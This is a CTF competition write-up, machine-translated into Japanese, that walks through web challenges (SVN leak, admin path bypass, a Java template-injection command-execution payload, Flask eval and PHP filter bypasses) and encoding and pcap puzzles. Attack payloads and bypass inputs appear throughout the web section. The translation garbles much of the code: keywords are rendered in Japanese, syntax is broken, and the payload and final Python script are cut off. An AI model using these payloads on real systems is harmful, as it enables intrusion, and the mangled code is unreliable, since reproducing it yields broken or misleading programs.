Jump to content

web

input_data

The Tool https://github.com/kost/dvcs-ripperを使用します

./rip-svn.pl -u 3http://101.200.58.4:10005/.svn

.svnディレクトリをダウンロードします

次に、構造を確認し、いくつかのファイルを見つけます

1049983-20241004174649885-874008864.jpg

cdディレクトリを入力してから、catファイル名フラグ{5674938f-803d-4c41-8f84-a77f5164bb4f}を表示します

1049983-20241004174650809-663276795.png

フラグ:旗{5674938F-803D-4C41-8F84-A77F5164BB4F}

admin

オーバーライド許可を通じて管理者への最初のアクセス、アクセスパスは次のとおりです

/;/admin

1049983-20241004174651495-30944686.jpg

次に、BP辞書の列挙はパラメーターを渡すために使用され、パスはSTIをテストするために使用されます。テスト後、Javaビュー操作STIを使用する必要があることがわかりました。

次のようにペイロード

http://101.200.58.4:3333/;/admin?path=__ $%7bnew%20java.util.scanner(t(java.lang.runtime).getruntime()

成功したコマンド実行:

1049983-20241004174652133-174386126.jpg

フラグ:flag {5d28c6ce-fede-498a-9053-6fe53f54f7d3}

フラスコ

質問のソースコードは次のとおりです

フラスコのインポートフラスコから、リクエスト、応答

Reをインポートします

app=flask(__name__)

@app.route( '/')

def index():

evalme=request.args.get( 'evalme')

if((evalmeではない)またはre.search(r '[a-zd-z \\。 /*$#@!+^]'、evalme)):

「ハッカー?」を返します

a=eval(evalme)

印刷(1)

f:として開いている(a、 'rb')

返信応答(f.read())

__name__=='__main __' :の場合

app.run(port=8081、debug=true)

文字は無効になっているため、ABCはフォーマットされた文字列を構築することもできますが、実際には、ABCがない場合でも、Unicode文字でバイパスすることもできます。

コマンドは次のとおりです。フォーマット文字列コンストラクトファイル名/フラグ

/?evalme=[a:=%22%c%c%c%c%c%c%c%c%22%(47,102,108,97,103)] [-1]

1049983-20241004174652875-1561261817.jpg

非常に多くのフラグ

次のレイヤーファイルf1aaj.phpはソースコードにあります

Cookie/flll4g.phpのタイトルの次のレイヤーでファイルを見つける

1049983-20241004174653545-1530320814.jpgFLLLL4G.PHPアクセスソースコードは次のとおりです

?php

if(isset($ _ get ['x'])){

$ temp=$ _get ['x'];

is_numeric($ temp)? die( 'no numeric'): null;

if($ temp 9999){

echo 'pupil./br';

} それ以外{

die( 'no!no!no!');

}

}

それ以外{

die( 'xはどこですか?');

}

if(isset($ _ get ['y'])){

$ md5=$ _get ['y'];

if($ md5==md5($ md5)){

Echo 'ジュニアスクールの生徒//br';

} それ以外{

die( 'no!no!no!');

}

}

それ以外{

die( 'yはy?');

}

if(isset($ _ get ['z'])){

$ content=$ _get ['z'];

if(strlen($ content)=60){

die( '長い!');

}

$ blackList=[''、 '\' ''、 '' '、' `''、 '\ ['、 '\]、' \ {'、'} '、' \ t '、' \ r '、' \ n '];

foreach($ blacklist as $ blackitem){

if(preg_match( '/'。$ blackitem。 '/m'、$ content)){

die( 'no!no!no!');

}

}

$ security=['abs'、 'base_convert'、 'cos'、 'dex'、 'exp'、 'f1ag'、 'getrandmax'、 'hexdec'、 'is_nan'、 'log'、 'max'、 'octdec'、 'pi'、 'sin'、 'tan'];

preg_match_all( '/[a-za-z_ \ x7f- \ xff] [a-za-z_0-9 \ x7f- \ xff]*/'、$ content、$ used_funcs);

foreach($ used_funcs [0] as $ func){

if(!in_array($ func、$ security)){

die( 'no!no!no!');

}

}

eval( 'echo'。$ content。 ';');

if(isset($ f1ag)){

if($ f1ag=='flag'){

Echo '高校生/BR';

echo 'here_is_flag !';

}

}

それ以外{

echo 'no!no!no!';

}

}

それ以外{

die( 'zはどこですか?');

}

最初の方法

最初のステップは、is_numericをバイパスして配列を使用することです

ステップ2:MD5はインターネットをバイパスし、たくさん検索します

X []=10000Y=0E215962017Z=log($ f1ag=0)

3番目のステップは0でバイパスでき、ログ関数はx []=10000y=0E215962017z=log($ f1ag=0)になります。

1049983-20241004174654218-291559251.jpg

または、cos関数x []=10000y=0E215962017z=cos($ f1ag=0)を使用します

1049983-20241004174700986-1030522670.jpg

その他:

情報セキュリティ競争の通知

開いた後、色を変更すると、旗が表示されます

1049983-20241004174701674-30547865.jpg

複数のエンコーディング

添付ファイル:

エンコーディング 1:+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ +++++++++++++++++++++++++++++++++++++ - ] ++++++。

2:([](! []+[])[!+[]+!+[]]+([] []]+[])[+!+[]]+(! []+[])[+[]]+(! []+[])[+!+[]+([![]]+[]) +(![]+[])[!+[]+!+[]+!+[]+]+]+[!+[]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+ ]+!+[]+!+!+ (! []+[])[!+[]+!+[]+!+[]+[]+[!+]+!+[]+!+[]+[]+[]+[]+[])[!+[]+!+[]+!+[]+([](! []+[])[!+[]+[]+[]+[]+ ([] [] []]+[])[+!+[]+(! []+[])[+!+[]]+([![]]]+(! []+[])[+!+[]]+([![! +[] [])[+!+[]+[]+[]+(![]+[]+[])[!+[]+!+[]+!+[]]+(![]+[])[!+[]+!+[]+!+[]+[]+]+]+[]+]+[]+[]+[]+[]+[]+

コード3:OOK。 ook。 ook。 ook。 ook。 ook。 ook。 ook。 ook。 ook。 ook。 ook。 ook。 ook。 ook。 ook。 ook。

ook。 ook。 ook。 ook。 ook。 ook。ああ! ook?ああ!ああ! ook。 ook? ook。 ook。 ook。 ook。 ook。

ook。 ook。 ook。 ook。 ook。 ook。 ook。 ook。 ook。 ook。 ook。 ook。 ook。 ook。 ook。 ook。

ook。 ook? ook。 ook?ああ! ook。 ook? ook。 ook。 ook。 ook。 ook。 ook。 ook。ああ! ook。 ook? ook。

ook。 ook。 ook。 ook。 ook。 ook。 ook。 ook。 ook。 ook。 ook。 ook。ああ! ook?ああ!

ああ! ook。 ook?ああ!ああ!ああ!ああ!ああ!ああ!ああ!ああ!ああ!ああ!ああ!ああ!ああ!ああ!ああ!

ook? ook。 ook?ああ! ook。 ook?ああ!ああ!ああ!ああ!ああ!ああ!ああ!ああ!ああ!ああ!ああ!ああ!ああ!

ああ!ああ!ああ!ああ!ああ!ああ!ああ!ああ!ああ!ああ!ああ!ああ!ああ!ああ!ああ!ああ!ああ!ああ!

ああ! ook。 ook? ook。 ook。 ook。 ook。 ook。 ook。 ook。 ook。 ook。 ook。 ook。 ook。 ook。 ook。

ook。ああ! ook?ああ!ああ! ook。 ook? ook。 ook。 ook。 ook。 ook。 ook。 ook。 ook。 ook。 ook。 ook。

ook。 ook。 ook。 ook。 ook。 ook? ook。 ook?ああ! ook。 ook? ook。 ook。 ook。 ook。 ook。 ook。 ook。

ook。 ook。 ook。 ook。 ook。 ook。 ook。 ook。 ook。 ook。 ook。 ook。 ook。 ook。 ook。 ook。

ook。 ook。 ook。 ook。 ook。ああ!ああ!ああ!ああ!ああ!ああ!ああ! ook。 ook? ook。 ook。

ook。 ook。 ook。 ook。 ook。 ook。 ook。 ook。 ook。 ook。ああ! ook?ああ!ああ!

ook。 ook?ああ!ああ!ああ!ああ!ああ!ああ!ああ!ああ!ああ!ああ!ああ!ああ!ああ! ook?

ook。 ook?ああ! ook。 ook?ああ!ああ!ああ!ああ!ああ!ああ!ああ!ああ!ああ!ああ!ああ!ああ!ああ!ああ!

ああ!ああ!ああ!ああ!ああ!ああ!ああ!ああ!ああ!ああ!ああ!ああ!ああ!ああ!ああ!ああ!ああ!ああ!

ああ!ああ!ああ!ああ!ああ!ああ!ああ!ああ!ああ!ああ!ああ! ook。 ook。 ook。 ook。

ああ! ook。ああ! ook。ああ!ああ!ああ! ook。 ook。 ook。 ook。 ook。 ook。 ook。 ook。 ook。 ook。 ook。 ook。

ook。 ook。 ook。 ook。 ook。 ook。 ook。 ook。 ook。ああ!ああ!ああ!ああ!ああ!ああ!

ああ! ook。 ook。 ook。 ook。ああ! ook。 ook? ook。 ook。 ook。 ook。 ook。 ook。 ook。 ook。 ook。 ook。 ook。

ook。 ook。 ook。 ook。 ook。 ook。 ook。 ook。ああ! ook?ああ!ああ! ook。 ook?

ook。 ook。 ook。 ook。 ook。 ook。 ook。 ook。 ook。 ook。 ook。 ook。 ook。 ook。 ook。 ook。

ook。 ook? ook。 ook?ああ! ook。 ook? ook。 ook。 ook。 ook。 ook。 ook。 ook。 ook。 ook。 ook。 ook。

ook。 ook。ああ! ook。 ook? ook。

最初の段落jsfuck復号化:flag {ab71cda1

1049983-20241004174702278-1588943883.png

2つのセグメントすべてデコード:B495E13B3F21

1049983-20241004174702915-638662998.png

3番目の段落ook復号化:F6FD50221978}

1049983-20241004174703724-567341788.jpg

フラグ{AB71CDA1B495E13B3F21F6FD50221978}

bluetooth

zipを見つけてKeキーを持っているグローバル検索フラグ

1049983-20241004174704552-93359001.jpg明らかな圧縮パッケージとflag.txtドキュメントが見つかりました

1049983-20241004174705291-1547728920.jpgキーキーもあります

1049983-20241004174705931-1082659547.jpg圧縮パッケージをエクスポートします

1049983-20241004174706446-1289494769.jpg

圧縮パッケージをエクスポートします

ここの誰かがこれらの2つのファイルをエクスポートする方法を知りません。簡単に話しましょう

最初のタイプ

トラフィックパッケージファイルを変更して、zipを減圧して分離して抽出するなどの圧縮パッケージ形式に変更します

2番目のタイプ

関連するコマンドでトラフィックパッケージファイルを直接分離します

3番目のタイプ

トラフィックパッケージを開き、キーワードを使用して元のデータを見つけます。 16進ファイルをコピーしてインポートします。圧縮パッケージを取得するには、テキストの開始と終了を変更する必要があります。

知らせ

ここの多くの人々は圧縮パッケージを入手し、ファイルが破損しており、開くことができないことを発見します。ここでは、減圧ソフトウェアを変更できます。

ciphertextとkey :を取得します

flag.txt:

10004583275926070044326083910251708233320797793557792087030978163051881401914132269450797

キー:52162946952118202938062470298887026154798297270637676463374801674742298813146203404040756931515222

これが暗号文とキーです

十進数六量体スクリプト

def hex(number):

hex_str=hex(number)[2:]

Len(hex_str)==1:の場合

hex_str='0' + hex_str

hex_strを返します

__name__=='__main __' :の場合

number=int(input( 'input3360'))

hex_representation=hex(number)

print(f '{number}' 16進表現は: {hex_representation} ')です。

秘密のテキスト

4E94DCDB6DE87E65D263419EC45AEC93E8A2E1D386B31FB804E0F02366DF44DBE86A8A8A7C462D

28F8BDBC16DE4850E05579ACF33C8AA08AC3D9E6E3822B8C3081C04700EB25B88A08EB457550

xor
を実行します

#暗号化された暗号文と16進文字列を定義します

txt='4e94dcdb6de87e65d263419ec45aec93e8a2e1d386b31fb804e0f02366df444dbe86a8a8a7c462d'

Key='28F8BDBC16DE4850E05579ACF33C8AA08AC3D9E6E3822B8C3081C04700EB25B88A08EB457550' '

#ヘキサデシマル文字列をバイトオブジェクトに変換します

ciphertext_bytes=bytes.fromhex(txt)

key_bytes=bytes.fromhex(key)

#decryptionにbyte-byte xorを使用します

#注:ここでは、キーと暗号文は同じ長さであると想定されています。そうしないと、zipはより短い長さに切り捨てられます

decrypted_bytes=bytes([c ^ k for c、k in zip(ciphertext_bytes、key_bytes))))

#復号化されたバイトオブジェクトを文字列にデコードして、デコードできないバイトを無視してみてください

#ここでは、復号化されたバイトのほとんどを有効なUTF-8文字にデコードできると想定されています

print(decrypted_bytes.decode(errors='ig

0 Comments

Recommended Comments

There are no comments to display.

Guest
Add a comment...